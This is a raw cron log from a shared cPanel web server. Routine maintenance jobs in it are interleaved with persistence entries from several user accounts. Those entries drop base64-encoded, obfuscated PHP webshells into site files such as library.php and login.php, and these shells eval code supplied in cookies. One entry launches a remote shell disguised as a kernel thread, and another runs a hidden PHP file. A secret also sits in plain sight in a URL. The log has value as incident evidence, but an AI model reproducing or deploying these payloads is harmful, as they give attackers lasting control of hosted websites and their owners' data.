Mar  1 13:59:01 medusa CROND[12631]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:59:01 medusa CROND[12632]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:59:01 medusa CROND[12633]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:59:01 medusa CROND[12634]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:59:01 medusa CROND[12635]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:59:01 medusa CROND[12639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:59:01 medusa CROND[12640]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:59:01 medusa CROND[12643]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:59:01 medusa CROND[12644]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:59:01 medusa CROND[12651]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:00:01 medusa CROND[5262]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:00:01 medusa CROND[5285]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  1 14:00:02 medusa CROND[5350]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5478]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:00:02 medusa CROND[5480]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:00:02 medusa CROND[5481]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  1 14:00:02 medusa CROND[5479]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:00:02 medusa CROND[5482]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 14:00:02 medusa CROND[5484]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:00:02 medusa CROND[5498]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:00:02 medusa CROND[5499]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:00:02 medusa CROND[5500]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 14:00:02 medusa CROND[5503]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 14:00:02 medusa CROND[5509]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5508]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:00:02 medusa CROND[5514]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  1 14:00:02 medusa CROND[5515]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:00:02 medusa CROND[5516]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:00:02 medusa CROND[5506]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5511]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5523]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:00:02 medusa CROND[5526]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5527]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:00:02 medusa CROND[5507]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:00:02 medusa CROND[5528]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5535]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 14:00:02 medusa CROND[5510]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  1 14:00:02 medusa CROND[5541]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:00:02 medusa CROND[5542]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5543]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5517]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:00:02 medusa CROND[5544]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5558]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:00:02 medusa CROND[5559]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:00:02 medusa CROND[5557]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
